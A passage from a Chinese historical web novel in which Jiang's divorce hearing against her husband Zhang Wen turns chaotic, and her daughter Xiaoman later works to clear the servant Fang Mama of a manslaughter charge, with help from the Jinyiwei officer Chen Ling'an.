“且住。”郑峳采忙道,“夫人无须下跪,来呀,给夫人看座。” 接着吩咐左右,“将被告张文带上来。” 人群又是一阵骚动,在衙役的带领下,张文昂首信步走入大堂。 今天他特意打扮过的,脸上敷了薄粉,眉毛胡子精心修饰,素白丝绸长袍贴身,外套绣青竹纹的雨过天青底儿蝉翼纱衣,碧玉簪盘发,发髻上束着白底绣兰花的发带。 走起路来衣袂飘飘,发带轻拂,很有点道骨仙风的意思。 加之他相貌不俗,见者无不暗暗赞叹,好一个翩翩君子! 便是先前替蒋夫人说话的几个妇人都不理解了:这么好看的夫君,居然舍得下。 与局促不安的蒋夫人不同,张文一点也不怯场,抱拳一揖便静静站在那里等着问话。 郑峳采瞥他一眼,“你就是张文?” “在下正是两榜进士,蒋氏的夫君,张文。” “两榜进士……你在哪里做过什么官,现居何职?” “曾任吏部尚书,现在,现在赋闲在家,并无官职。” “哦——”郑峳采尾音拖得老长,“二品大员,一撸到底,怎的落得如此境地呀?” 张文脸上闪过尴尬,“大人,这与此案并无干系。” “大胆!”郑峳采重重一拍惊堂木,“一介白身,竟敢藐视公堂,再不据实回话,就休怪本官动刑了!” 张文大怒,明知他失之偏颇,却不敢、也不能反驳,只好忍羞道:“受内宅纷争连累,张某并无过错。” 他故意模糊,郑峳采刻意点明,“被告因何贬谪?” 这话问的是刑名师爷,那人有模有样捧出一卷邸报,翻了翻答道:“回大人,圣旨明白写了:宠妾灭妻,私德不修,公德不立,贬为七品营缮所所正。” “后心怀怨怼,屡出不敬之言,玩忽职守,不思悔改,经吏部提请,内阁审议,司礼监批红,着降张文为驿丞。” 师爷合上邸报,“被告不去,辞了驿丞的差事。” 郑峳采道:“张文,你听清楚了没有?你无过错,难道是皇上错了,皇上冤枉你了?” 张文脸上红一阵白一阵,刚进门时的气势少了大半。 郑峳采冷哼一声,随即转过身问:“蒋氏,你是否因张文落魄才要和离?” 蒋夫人苦笑道:“当年他穷得都要读不起书了,我都没嫌弃他,现在怎会因为他当不了官和离?实在是……实在是过不下去了。” “现在的张宅是我父亲花钱买的,张家一应开销全靠我的嫁妆,成亲后他一文钱都没往家拿过,连纳妾的钱都是我出的。” “我和他成亲二十年,时至今日,总共花了三十七万六千四百两银子。” 人群立时一阵哗然,连郑峳采都不能镇定了。 乖乖,一年就将近两万两的开销,郑家也算有钱人了,一年不过七八千两而已,这张文过得都赶上王侯将相了! 张文涨红着脸,指着蒋夫人愤恨道:“胡说,我何尝花了这么多银子?” 蒋夫人看也不看他,“每一笔开销都有记录,请大人明鉴。” 衙役搬来一大摞账本。 张文额头泌出细细的汗珠。 “我尽心尽力操持这个家,他却说我不贤、善妒,骂我毒妇,怪我拖累他的仕途。还说他就是我的主子,就是卖了我,也是天经地义。” 蒋夫人的声音抖得厉害,眼泪不听话地往下流。 郑峳采悲天悯人似地叹口气,继而脸色一变,严厉地问张文:“蒋氏所言是否属实?” 张文想否认,可面对证据没法否认,低声嘀咕一句,“我没偷没抢,都是她自愿的。” 蒋夫人霍地站起来,“是,是我自愿的,可我现在不愿意了!” “我好悔啊,当初被他的皮相迷瞎了眼,竟闹着非他不嫁,如今被骂下贱不值钱,全是我咎由自取。” “如今厚着脸皮请大人公开审理,也是要用我的经历告诉年轻的姑娘,千万别犯和我一样的错。” 外面看热闹的几个妇人也陪着抹起了眼泪,刚才叫嚷纲常之道的老学究也不说话了。 舆论终于不是一边倒了。 郑峳采暗暗松口气,准备速战速决当堂结案。 然而手中的惊堂木刚刚提起,就听衙门外响起一阵喊声:“且慢,我有话说!” 几个奴仆,还有两个比丘尼护着一身缁衣的边老太太穿过人群。 张文一见母亲来了,猛然下跪叩头痛哭:“儿子不孝,未能管教好媳妇,累母亲不能颐养天年,都是儿子无能啊!” 边老太太心疼地抚着张文的头发,“当初我就说咱家高攀不起名门贵女,不是哪个男人都能供祖宗一样供媳妇的,你偏不听。” 惊堂木响,郑峳采沉声问:“堂下何人?” 边老太太推开张文,“老身姓边,乃张文母亲,蒋氏婆母,有内情禀明大人。” “讲。” “蒋氏想走,可以,但不是和离,是休妻!蒋氏不顺父母,诋毁丈夫,虐待妾室,不教子女,不堪为张家妇,今日我就替我儿休了她。” 蒋氏已是浑身冰冷手脚发颤,满胸口胀得闷痛,一时竟发不出声音。 边老太太乘胜追击,“蒋氏一进我家门,就让我交出管家权,不得已,我只能去庵堂。” “二十年呐,我一个孤老婆子,在庵堂住了二十年,只有年节才能回来看看,陪儿媳妇演一出母慈子孝的戏码。” “孝”字大过天,此言一出,人们望向蒋氏的目光不大友善了。 在班房等候的方妈妈忍不住了,冲出来喊:“太太接你多少次,是你自己不回来。” 边老太太不搭茬,只对众人叹道:“瞧瞧,她的一个奴仆,都能呵斥婆母。” 人群飞快泛起一阵波澜,指指点点,交头接耳,居高临下点评着蒋夫人。 “肃静!”郑峳采板着脸重重一拍惊堂木,不但没被边老太太打动,反对张家鄙夷更甚。 在妻子有错处的情况下休妻,可以少返或者不返还妻子的嫁妆。 这边老太太,胃口不小啊。 郑峳采皮笑肉不笑:“老太太,口说无凭,你可有证据?” 边老太太笑笑,一指门外,“张家奴仆,庵堂的比丘尼,都是证人。” 那几人齐齐点头:“我等愿意作证。” 边老太太继续道:“还有满城的高门世家,大人只管去问,谁不知道张家老太太避居庵堂,哪个在宴席集会上见过我!” “她自己的孩子没立住,就恨上了庶子庶女,大孙子有家不敢回,小孙女打小住庵堂,四孙女最出色,也最遭她恨,被她折磨得人不人鬼不鬼,只剩半口气了。” 边老太太擦擦眼角的泪花,向着围观人群团团作揖,“求求大伙儿,帮帮我们孤儿寡母吧。” “且慢,我也有话要说!”又一声清亮的声音响起。 众人好奇望去,一个身材高挑容貌俏丽的少女领着几人走近,那女孩子还笑嘻嘻的,“劳驾让让,好戏还在后头呢!” 一阵笑声中,人群闪出一条路。 郑峳采定睛一看,呦呵,妹妹! “小满!”蒋夫人愕然,“你怎么来了?” 张小满调皮一笑,随后端端正正行礼,正色道:“民女是张家的三女儿,特来为母亲作证。” 郑峳采饶有兴趣问:“你想证明些什么呀?” “老太太撒谎,每日价山珍海味好吃好喝供着,绫罗绸缎穿着,还有十来个下人专门跟过去伺候,怎么就受苦了?” “庵堂还有别的比丘尼,另有送水送蔬果的商贩、村民,传来一问,什么都清楚了。” “至于虐待子女,更不可信。”小满冲门外一扬手,“四妹妹!” 人们的视线齐刷刷聚集过去,张君懿头也不敢抬,在丫鬟的搀扶下慢慢挪到小满身旁。 她脸色蜡白,大大的眼睛突了出来,腮边一点肉都没有,完全瘦脱了相。 简直像个将死之人! 蒋夫人大吃一惊,“四丫头,你怎么了?” “还不是你害的!”边老太太一边暗骂孙姨娘没将人看住,一边上前拉住张君懿,“孩子,有什么怨什么恨尽管说出来,就是不为你自己,也要为你姨娘和大哥着想。” 张小满冷飕飕飘来一句,“再想下去,只怕命都没了。” 边老太太大怒,公堂之上却不好发作,只好警告似地看了眼张君懿。 张君懿把胳膊从老太太手里扯回来,“太太的确不喜欢我,却从来没有苛待过我,便是五妹妹那里,我也敢作保。这些都是母亲平日里给我的。” 便有奴仆呈上一个小箱子,盖子一开,金银首饰映得满室灿光。 惊得人们瞪大了眼,张大了嘴,吸气声此起彼伏不绝于耳。 “至于大哥,就更不用说了,吃穿用度更是头一份。大哥就读的是南翠书院,比国子监更难进的书院,大哥本来不够资格的,太太托了平阳侯府,又花了五千两银子,才给大哥求来一个学位。” 并不算长的一段话,她中间停了三四气,才算说完。 人已经有点站不住了。 蒋夫人忙把人扶到椅子上坐下,“怎么搞成这幅样子。” 张小满冷笑:“把人关在屋子里不见日光,一天只给一顿饭,不是咸菜豆渣饼,就是萝卜霉米饭,能好才见鬼呢。母亲在的时候四妹妹什么样,母亲不在的时候又是什么样,到底谁虐待孩子,一目了然。” 边老太太一把摁住恼羞成怒的张文,泣声哭道:“冤枉啊!蒋氏出身高贵,有钱有权,谁知道是不是被她买通了!只说这官司,按律只能代告,她不也自告了?” 接着放声号啕:“天底下还有没有公道可言?老婆子还不如一头碰死在这里。” 郑峳采心里咯噔一下,《会典》的确有规定,一应婚姻田土家财等事,妇人不许出官告状,必须由丈夫、儿子代告。 要真较真儿,他接蒋氏的诉状本身就不合规矩。 这老太婆是暗搓搓告诉他:光脚不怕穿鞋的! 围观的人这么多,如果真见了血,对他的官声可不好。 却听小满阴阳怪气地说:“一哭二闹三上吊,看谁闹腾就判谁赢,那天底下的老实人就没活路了。” 边老太太哭声一顿。 张文再也按捺不住了,扬胳膊照脸就打,“我打死你个不孝女!啊——” 他的手腕好像什么东西击中了,反折成一种诡异的姿势,血滴滴答答流下来,将那件飘逸的蝉翼纱衣染得一塌糊涂。 张文凄厉惨叫着,两眼一翻疼晕了过去。 堂上大乱。 小满意识到什么,带着期待左右张望。 拥挤着上前看热闹的老百姓,拿着水火棍又推又搡的衙役们,挠头犯愁的县太爷,哭天抢地的老太太,一脸麻木的张君懿…… 唯独没有他的身影。 小满心里头发闷,又觉得自己好笑,莫名的还有点生气,可气什么她自己也不知道。 被告昏死,这官司只能择日再升堂了。 门口嘈杂不堪,小满和蒋夫人几人从衙门后门悄悄离开了。 刚走没多远,就见刘瑾书追了上来。 看上去不大高兴。 第35章 蒋夫人察觉到刘瑾书的不悦, 因笑道:“不打扰你们说话了,瑾书,你可要好好把人给我送回来——没有她, 我坚持不下来。” 刘瑾书颔首笑了笑。 小满大概猜到他来的原因了,待蒋夫人一走,微微挑眉, “我帮母亲打官司, 犯你忌讳啦?” 语气很冲。 刘瑾书显得有点无奈,“我是你的未婚夫,不是你的敌人。” 小满一怔。 “我很钦佩蒋夫人,也希望她能脱离张家那个泥潭,我不反对你帮她。可是小满, 你能不能为我们多考虑考虑?” “……什么意思?” “蒋夫人可以无视人们的非议, 她以后不会再成家了。你呢?贸然在大堂上控诉你的父亲祖母, 张文会不会告你忤逆, 你怎么脱罪,人们会如何看你, 你以后又怎样和我那些同僚太太们打交道?” 小满:“爱怎么着怎么着, 我才不在乎,大不了——” “大不了不成亲了是吧?”刘瑾书猛地打断她的话, 整个人显得异常急躁,和平日里的温润谦和完全是两个模样。 小满略显惊诧地看着他。 刘瑾书也意识到自己的失态,缓和了会儿才慢慢道:“我很清楚, 我是你退而求其次的选择,可我不介意。精诚所至,金石为开,总有一天能打动你。” “我拼命向你靠近, 你却一直回避,我想尽办法要娶你,你却对亲事毫不在意。我真怀疑,我做的一切都是无用的。” 他疲惫地叹了声,“你到底……到底怎么想我的?” 小满觉得闷热,觉得烦躁,竟有点不敢看他的眼睛。 沉默了好一会儿,她才说:“我会努力的。” 刘瑾书失笑,说不上失望更多还是希望更多,但两人的关系也算往好的方向走了。 “你可以多依赖我一点。”他顿了顿,又说,“我是你未婚夫,总比其他人信得过。” 小满一下听出他话里有话,却没分辩的意思,只默默点头。 两人面对面站着,谁没有再开口,气氛就像天气一般沉闷。 好在这种情况没有持续太久,蒋夫人到底不放心,让方妈妈折回来接小满。 蒋夫人满眼担心,反复问他们说了什么,尤其是刘瑾书的态度。 生怕刘家的亲事黄了似的。 小满看她这幅样子,不由更难受了,本来还想和她说说心里话,这下也不敢说了。 只模糊答道:“他让我有事找他。” “到底是个重情义的。”蒋夫人的心落回肚子里,轻轻戳了小满一指头,“你这孩子也太胡闹了,就不怕你未来的婆婆嫌弃你。” “就算没今天的事,秦太太也不喜欢我。” 这个脾气,以后过门了可怎么办! 蒋夫人深深叹气,又盘问起江宁衙门为何会接她的状子,“莫不是你找了陈令安吧?” 小满哼哼:“没找,借他的名头用了用。” 蒋夫人额头青筋突突地跳,打算教训她几句,转念一想要不是因为自己,这孩子也不会冒险行事。 愧疚潮水一样淹过来,蒋夫人喉头像被棉花噎住了,胀痛得发不了声。 好半天,才挤出一句话:“往后,别再找他了。” 小满点了点头。 蒋夫人还把张君懿也接到了她的居所。 “那孩子不打算回张家了,你也别回去了,都在我这里住下,也方便照料。” 小满一定要回去,她还有事没做,却不方便对蒋夫人明言。 “你……”蒋夫人简直不知道说什么好,直接发了脾气,“哪怕张家告我拐卖,你也别想离开我一步。” 小满无法,只得垂头丧气回屋休息。 不一会儿张君懿过来了,她想变卖那两箱衣服首饰,全换成银票,再帮她准备一辆马车。 “接你姨娘?”小满问。 张君懿:“大哥才是她的指望,她还等着做诰命夫人,我何必上赶着讨人嫌!张小满,你不会过河拆桥吧?” 小满:“答应你的,我一定会做到。不过我很好奇,这时候你不好好养身子,急着要马车做什么。” 张君懿的视线飘向窗外。 雨停了,空气里带着一股湿润清新的草木香,天空明净如洗,棉絮似的白云随风婀娜,两只雀儿追逐着飞过墙头。 “我想到处走走,”她轻轻说,“晒晒太阳,看看街景,听听人们说话。” 小满稍嫌警惕的目光慢慢柔和下来,“好。” 她离开时,张君懿突然道:“你只是运气比我好罢了。” 小满笑笑,没搭话,也没回头。 稍晚些时候,张家那边传来消息:张文右手臂筋骨尽断,再也不能提笔写字。 他这辈子都别想起复了! 蒋夫人大为解气的同时,又有种说不出的酸苦,末了长长叹息一声,“算了,只要张家同意和离,他们昧下的田庄,我就不计较了。” 小满不服气,方妈妈却劝她:“能用钱解决的事,都不叫事,没那几个庄子,太太也能过得很好。破财消灾,赶紧离开那个狼窝子才是正经。” 可还没等她们找到合适的人从中说和,就出事了。 这天晚上,方妈妈的侄子媳妇慌慌张张来找她,接着方妈妈脸色煞白地跟着她走了,都没来及和蒋夫人说一声。 这一走就再没见着她人。 她侄子家门口贴上了售卖的告示,邻居说她侄子欠了赌债,房子抵给债主了。 蒋夫人生出一股不好的预感,慌慌张张去了平阳侯府。 转天就得了消息:方妈妈杀了人! 蒋夫人简直不敢相信自己的耳朵,方妈妈连杀鸡都不敢看,哪有胆子杀人? 侯府的管事叹道:“也是有够寸的。死的是放高利贷的,方妈妈去还贷,也不知道怎么回事和他吵起来了,失手把人推下楼摔死了。” 听到这里,蒋夫人忙说:“既是失手,就有转圜的余地,只要人能全须全尾回来,赔多少钱我也愿意。” 管事犹豫了下,“死者家人放话出来,不要钱,只要命,淮安府也有人给刑部递话,希望严办。” 蒋夫人手脚有些发凉,一旦有官府的背景,事情就难办了。 管事又说:“姨太太别着急,案子还没审完,我们世子爷上下打点好了,方妈妈不会吃苦头。” 见蒋夫人还在兀自怔楞着,小满递过去一个厚厚的红封,再三道谢。 管事接了,说了几句安慰的话,却始终没说侯府会不会出面捞人。 小满猜侯府应不会帮忙了。 方妈妈于她们来说,是亲人,在别人眼中,不过一个下人而已,犯不着插手人命官司,平白惹一身腥。 尤其是在平阳侯回调京城的关头上。 这桩官司,只怕不会轻松。 - 方妈妈关在刑部大狱。 没有受刑,但她看上去十分憔悴,脸色苍黄,蓬乱的头发散落下来,几缕白发格外刺眼。 蒋夫人登时受不住了,“怎么成了这个样子……” 小满一手扶着她,一手将带来的东西隔着牢门递过去,“这是衣服,这是吃食,妈妈千万照顾好自己。” 方妈妈哭得不能自已,“太太的事情正在紧要关头,我却……都是我拖累了太太。” “这是意外,谁也想不到。”小满在旁插嘴,“方妈妈,你快和我们说说当时的情形。” 再这样哭下去,只怕问不到什么实质性的东西就到时间了。 其实方妈妈自己也迷糊着。 她侄子欠了赌债,人被扣住了,侄媳妇找她救急。 五千两银子呢,她原本攒下的体己都填了侄子采买账上的亏空,仓促之间去哪儿找那么些银子,只好揣着几十两碎银,求债主多宽限几天。 债主根本瞧不上那点银子,可骂着骂着,竟扯到蒋夫人身上,狗嘴里吐不出象牙,方妈妈一听就炸了。 两人推搡起来,那人翻下窗户摔死了。 巧的是那天楼上就他们两人,争吵声很大,方妈妈理所当然被认定成凶手。 “他又叫又喊的,拿着烛台乱舞,就要杀了我似的。我害怕极了,就死命推他一把,他倒退几步撞在窗户上,窗户是关着的,插销居然没插上,他就那样……那样掉下去,死了……” 想起现场的惨状,方妈妈的声音止不住颤抖,“我真没想杀他,真没想杀他!” 小满忙道:“妈妈,妈妈,这是意外,谁也想不到,不是你的错,你会没事的,一定没事的。” “三丫头说的对,你要照顾好自己,别瞎想,我一定会救你出来。”蒋夫人细细叮咛,直到狱卒再三催促,才万分不舍松开方妈妈的手。 蒋夫人问狱卒知不知道苦主住在哪里,她想去吊唁。 狱卒道:“人命官司,夫人最好不要直接找对方协商,有什么话托官府转达是一样的。” 蒋夫人还是坚持,狱卒便告诉她了。 死者姓石,住的地方离这里不远,大概两刻钟的车程。 石家门口挂着丧幡,看不到来拜祭的人,几个腰缠白布的知客懒洋洋坐在门房里嗑瓜子聊天,隐约听见门内传来阵阵哭声。 听说是来吊唁的,知客竟有点吃惊,上下打量着蒋夫人,忽然问:“你是不是姓蒋?” 蒋夫人下意识点头。 那人霍地来了精神,冲门里大喊:“石家的,人来啦!” 小满暗道声不好,拽着蒋夫人就往回撤。 已然晚了。 从穿堂冲出一群人拦住她们的去路,不过还好,只是怒目而视,没有打骂。 马夫见状急忙当在蒋夫人和小满前面,“有话好好说,不得伤了我家太太姑娘。” 蒋夫人强压着内心的惊恐,捧上奠仪,“我来祭奠石老爷。” 那包银子却被一个披麻戴孝的妇人打翻在地,“谁要你的钱,杀了人还拿银子羞辱人,你还我男人的命!” 说着,竟要扑过来撕打。 “住手!”这时一个管家模样的男人喝住她,接着看了看蒋夫人,“无事不登三宝殿,恐怕不是单单吊唁这么简单吧。” 蒋夫人道:“真是非常非常对不起你们,出现这样的结果谁也不愿意看到,我家妈妈绝对不是故意的,她现在特别后悔——” “别说这些有的没的,你到底赔多少钱?”有人不耐烦出声打断。 这么迫不及待?小满讶然。 蒋夫人却是心头一松,有的谈就好,“石老爷的后事自然是我们承担,除却欠的五千两,再补上五万两银子。” “五万两?你打发叫花子呢!”还是那人。 小满仔细看那个男人,三十上下,尖嘴猴腮,抱着胳膊吊儿郎当站着,脸上没有丁点的哀伤,全是捡着大便宜的兴奋! 她抢在蒋夫人前面开口,“你是谁,能代表石家吗?” 那人一顿,看向管家。 管家瞪了那人一眼,却问石太太:“请太太做主。” 石太太哭道:“多少钱也换不来我男人的命啊,我可怜的男人,走的时候还好好的,可叫我们孤儿寡母怎么活?我恨哪,我好恨哪……” 她指着蒋夫人,浑身颤抖,哭得上气不接下气。 小满看着她直直伸出的手,枯黄厚实,指节粗大,指甲发黑,又盯她泪水横流的脸若有所思。 蒋夫人听了她的话更愧疚了,加之救人心切,因道:“我明白您的难处,活着的人总得活下去,您高抬贵手,放我家妈妈一马,多少钱我都愿意出。” 石太太只是捂脸大哭。 “这里乱糟糟的,夫人屋里说话。”那管家做了个请的姿势。 蒋夫人犹豫了下,还是随他去了旁边的厢房。 几个护院模样的人也进了屋子,奇怪的是石太太反倒没进来。 管家问蒋夫人肯赔多少。 说多说少都不好,蒋夫人拿不定主意,便请他们做主。 又是刚才一直叫嚷的那人喊:“漂亮话谁不会说,叫你把全部家产拿出来你肯吗?” 立时有人附和:“对对,这事没个百八十万结不了,谁不知道你蒋夫人富可敌国,一年开销就好几万银子!” 蒋夫人一惊,她预想到会赔一大笔钱,可没想到他们张口一百万两,就是把全部家产变卖了,也根本凑不齐。 见场面一时陷入僵局,管家咳咳两声,“既然夫人为难,这事就算了。咱们听官府的,官府怎么判,咱们就怎么办。” “欠债还钱,杀人偿命!”那几个护院恨恨道。 蒋夫人越来越慌,“不是不给,我真没有这么多银子。” 管家叹道:“都是妇道人家,都不容易,这样吧,我就替我们太太做主了,六十万两,你什么时候拿来,我们什么时候撤诉。” 蒋夫人算了算,手里的现银有个三五万两,存在茂盛当铺的珠宝首饰、玉石古玩能卖,还有宅子、庄子什么的,七七八八加起来,能有五十多万两,再问妹妹借点,应是够了。 她点了头。 那几人立时一阵躁动,互相交换着热烈的目光,连老成持重的管家都忍不住激动得调息不匀。 他拿出事先写好的和解书,郑重填好赔偿数额,“请太太过来。” 很快,石太太由人搀扶着出现了,她应是不识字,和解书都拿倒了,还是在管家的指点下找到自己的名字,摁了手印。 蒋夫人提起笔准备签字画押。 “等等!”小满伸手拦住,“这不是小事,不如请官府做个见证,免得日后扯皮说不清楚。” 此话合情合理,管家想不出反驳的理由,便说现在就去衙门,“办好了,你们安心,我们也好让老爷入土为安。这大热的天,可怜我们老爷还在停尸所躺着。” 他开始抹眼泪。 石太太痛号一声,不停拍打胸脯,“你这狠心的短命鬼,一天好日子也没过过,就这么死了,痛死我了啊……” 小满突然道:“我看石太太情绪太过激动,不如改日再去衙门。” 所有人都愣住了,石太太的哭声也渐渐停了,覷着管家的脸色小声说:“我没事,就今儿吧。” “还是多休息几日,万一再昏死过去,我们可赔不起第二个了。”小满意味莫名一笑,扶着蒋夫人就走。 “诶诶,别走啊!”那几个护院拦住她们。 小满不看石太太,只冲那管事道:“你知道站在你面前的夫人是谁。” 平阳侯府或许不会为一个妈妈出面,但如果他们刁难蒋夫人,侯府也不会坐视不理。 管家脸上闪过一丝懊恼,抬了抬手,石家人闪开了。 蒋夫人生恐出乱子,拉着小满匆忙上了马车。 她们一路往家赶,直到坐在自家凉榻上,绷着的那口气方松了。 正是三伏,空气都能拧出水来,饶是屋里摆了冰鉴,还是觉得憋闷难当。 “方妈妈在大牢里可怎么熬得住。”蒋夫人紧紧皱着眉心,满脸都是愁容。 小满道:“石家知道母亲会拼尽全力救方妈妈,所以才敢狮子大开口,要夺了母亲全部身家。” 蒋夫人叹气,“我担心讨价还价的话,他们再反悔。” 小满忍不住提醒道:“他们与母亲素未谋面,竟对母亲和方妈妈的情谊知之甚深,又可着你嫁妆提了笔正正好的银子,母亲不觉得奇怪?” 蒋夫人一怔,随即如梦初醒般惊呼一声:“有人提点过石家,难不成是张家?” “肯定有张家人掺和,石家人也不见得是石家人。没钱没背景的做不了高利贷的生意,按说石家的日子不差,可石太太脸膛黑红,皮肤粗糙,那双手更像长年累月干农活的手。” “更奇怪的是他们全看管家的脸色行事,连石太太都不例外,那管家细皮嫩肉的,倒更像主子。” 小满眼睛闪闪,“我怀疑有人针对母亲做局。” 蒋夫人觉得她说的很有道理,又觉得不可思议,“石老爷实打实的死了,拿人命做局,这代价未免太大了!” 小满:“石太太的悲痛不像假的,我也吃不准石老爷是被谋杀,还是意外死亡,这事单靠咱们查不清楚。” 蒋夫人斟酌片刻,“要不我去侯府一趟……” 犹犹豫豫的,她自己都底气不足。 小满也说不好:“麻烦侯府太多次了,而且侯府的关系多在勋贵和军中,刑部不见得能卖侯府面子,不如请刘瑾书帮忙。” 蒋夫人思来想去也只有他了,“他的为人我是信得过的,就怕刘家不愿意。” 小满脑中闪过秦夫人那张严肃的脸,不由苦笑,“我毕竟是刘家未来的儿媳,多少会给点脸面的吧。” 不好直接去衙门找刘瑾书,便让小厮给他的书僮递了口信儿,本想约在外面见面的,可书僮传话,明天公子休沐,请她过府散散心。 虽然有点意外,小满还是依言来到了刘家。 大约是得过公子的吩咐,门房一听是张家三姑娘,忙把人恭恭敬敬送到二门。 又有齐整的婆子迎上来笑道:“我家公子被老爷叫去了,姑娘是在他书房等一等,还是想先到太太那里坐坐?” 当然是先给秦夫人请安。 又不凑巧,秦夫人有客,小满被安置在旁边的耳房。 耳房小小一间,原是花厅一角,用八扇紫檀木雕花屏风隔了出来,虽看不到隔壁的情形,声音却听得一清二楚。 “……真不害臊,一想我和她妹妹是姑嫂,我连娘家都不想回了。” 接着便有妇人轻声劝慰,不知哪一句戳中秦夫人的肺管子,立时怒道:“又让我弟弟给她收拾烂摊子,凭什么?她好大的脸,知道的说是妹夫和大姨子,不知道的还以为养了个——” “秦姐姐!”那人急急打断。 小满霍地起身,脸色铁青,眼中几乎冒出火来,就要冲出去和她理论。 手刚碰到格栅门时,她停住了,深吸口气,转身离开。 非常时期,不能给母亲添不必要的麻烦。 不管是秦夫人故意为之,还是有心人下套儿,这些话都是秦夫人的真实意思。 她没有再待下去的必要了。 身后,花厅的声音还未消散,“怎么说也是亲爹,胳膊肘往外拐,生恩都不顾了。” “搅得张家妻离子散,还不如不认,平白惹出一堆糟心事。” “一代无好妻,三代无好子,我不能让刘家毁在她手里。” …… 小满一口气跑出了张家大门。 这些话绝对不能对母亲说,可她憋得难受,委屈得想哭。 想找个人说说话,竟不知道找谁。 暮霭沉沉,归鸦翩翩,街上行人匆匆,各自都有归处。 她的归处在哪里? 小满站在街口,竟有点茫茫然了。 一只乌鸦桀桀叫着从头顶掠过,小满猛一激灵回过神来:现在不是丧气的时候! 去停尸所。 如果石老爷同样是庄户人模样,她就去敲登闻鼓,哪怕告上金銮殿,也要给方妈妈挣条命。 哪知石家人也在,竟要把尸首拉去化人场! 小满大吃一惊,“案子还没结,怎么能把尸体烧了?” 石家的管家冷冷道:“验尸结论录好了,衙门里主管的大人也批了,我当然能拉走,难不成要我家老爷在里头发臭发烂,浑身长蛆你才痛快?” 小满忙道自己不是那个意思,奈何管家不耐烦听,招呼手下拉着平板车就走。 他们人多势众,小满和车夫两人根本拦不住。 车上尸首裹得严严实实,想制造个意外掀开布瞧瞧也不能。 正发急间,马蹄声急促而至,刘瑾书翻身下马,大踏步走到小满身边。 小满来不及说明状况,“别让他们把尸体拉走!” 见刘瑾书面露迟疑,小满急得快跳脚了,“事关方妈妈性命,他们要销毁证据!” 石家人怒了,一面痛斥小满为富不仁草菅人命,一面拉着平板车往外走。 小满死死拽着车辕不撒手。 刘瑾书担心她受伤,厉声喝道:“都停下,既有疑点,就要重审。把尸体运回去!” 后面这句是对看热闹的停尸所差役说的。 差役一怔,喃喃道:“这不好吧,他们是死者家眷,手里还有刑部的批条。” 刘瑾书呼出口气,“我是翰林院侍讲学士刘瑾书,出事我担着,你只管听令就是。” “刘大人,这事你担不起。”石家管家沉声道,“翰林院管不了刑部,你不分青红皂白贸然插手,就不怕刑部参你一本?” 刘瑾书眉头微蹙,“事急从权,我自会向刑部说明情况。” “那就等刘大人做了主审官再说吧。”那管家手一挥,竟自领着众人徉徉地去了。 小满不顾刘瑾书阻拦,又要追。 那伙人却停住了。 空气陡然安静,一片风都没有,连知了的叫声都融化在无边的沉寂中。 夕阳从西边斜射过来,浓艳凝重的玫瑰色中,一个人影慢吞吞显现。 “这个案子,北镇抚司接管了。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 35-40 第36章 陈令安的声音不大, 也没摆出多少官威,甚至看起来漫不经心的。 可就这轻飘飘一句话,让一众人等都变了脸色。 石家管家给手下使个眼色, 让他赶紧找人来,接着抱拳道:“这位大人,无论哪个衙门审案, 相信都会给还我家老爷一个公道。小人在这里先谢过大人了。” 石家人壮着胆子驱车往前走。 陈令安抬抬眼皮, “耳朵是摆设?那就别要了。” 寒光一闪,管家只觉耳边一凉,随即有什么热乎乎的东西顺着腮帮子流下来,当即惊得魂飞魄散,浑身瘫软。 “听清楚了没有?”陈令安问。 阴森刺骨的匕首还紧紧贴着管家的脸, 他哪敢说个“不”字。 陈令安收回匕首, “全部押到诏狱。” 吴勇并一队锦衣卫不知打哪儿冒出来, 不由分说将石家人五花大绑。 管家惊得声音变了调, “你们干什么?我们是苦主,我没杀人!” 陈令安懒得理他, 冷冷看向巷子口。 一个绿袍官员喘吁吁跑来, “陈大人,这是刑部主审的案子, 你有锦衣卫指挥使或者内阁的条子吗,怎能说接管就接管,也忒不讲理了!” 陈令安淡然道:“你来的正好, 吴勇,和他一起去刑部大牢,把方妈妈接到诏狱。” “得令!”吴勇一揽那人肩膀,笑得贱兮兮的, “走吧,我去跟你上司打声招呼,省得你为难。不用谢,这是我应该做的。” 他力气极大,绿袍官儿反抗不得,挣扎不开,只能苦着脸被拖走。 小满呆呆地张着嘴,好像还没从着突如其来的变故中醒过味来。 瞧得陈令安好气又好笑,板着面孔冷冷道:“你不是说尸体有疑点,还不快过来。” 方妈妈有救啦! 小满欢快应了声,刚要走,却是一顿,犹犹豫豫看向刘瑾书。 他的脸色很不好看。 “我去做个笔录,很快就好。”小满与他解释,“案子来得蹊跷,保不齐有人做局,我不能让方妈妈枉死。回来再和你细说。” 刘瑾书吐出口气,只盯着陈令安,“你来了多久,一开始就在?” 陈令安轻轻挑起眉头,没否认。 小满有点迷糊,刚才自己都要急疯了,他就站旁边干看着? 陈令安摸摸鼻子,小声嘀咕一句。 他声音极低,可小满离得近,隐约听到几个模糊字眼,什么“无能”“抢”的。 小满瞠目:不会是故意让她瞧见刘瑾书的无能为力吧。 这个人也忒小气、也忒记仇了。 陈令安不自然地避开她的视线,语气也变得僵硬,“你去不去?” 小满点头:当然要去,只要能救下方妈妈,管他那么多小心思! 胳膊却被刘瑾书拉住了。 天色近晚,暮色苍茫,模糊了他的脸庞,小满觉得胳膊很痛。 “别去,交给我。”他的声音发颤。 不等小满回答,陈令安嗤笑一声,“真是吹牛不上税,也不看自己有没有本事撑起来。” 刘瑾书不理会他的嘲讽,只看着小满,“他这个人,做事都是有目的的,绝不会平白无故帮忙,你忘了上次他如何利用你了?这次还不知道打什么鬼主意!” 小满刚要说话,又被陈令安抢了先。 “瞧这气急败坏的模样,真是戳中你肺管子了,无能就是无能,装什么大瓣蒜。” 刘瑾书大怒,话锋一转,却道:“小满是我没过门的妻子,我不喜她与你来往过密。” 你又是什么身份? 陈令安一滞。 刘瑾书轻吁口气,烦闷的心情也有了几分轻松。 他让小满先回去,“明日我奏请陛下,将此案交由刑部、都察院、大理寺三司会审,一定还方妈妈清白。” 小满却问:“我今儿去找你,你事先知道不知道?” “不知道,我回来时正好瞧见你的背影,话说回来,你来怎么也没提前和我说一声?” “是了,我猜你也不知情,回去审审你的书僮,他知道。” 刘瑾书心猛地一沉。 张家状况频出,蒋夫人官司缠身,母亲对这门亲事越发不满,他本想厘清外调的事后再安抚母亲,难道母亲等不及动手了? “于我来说,眼下方妈妈最重要。”小满轻轻挣开他的手,来到陈令安身旁,“走吧。” 陈令安转过身,嘴角不受控制地往上翘。 但他很快高兴不起来了。 浓重的湿气毫不客气踏进北镇抚司,溽热难耐,简直喘不过气。 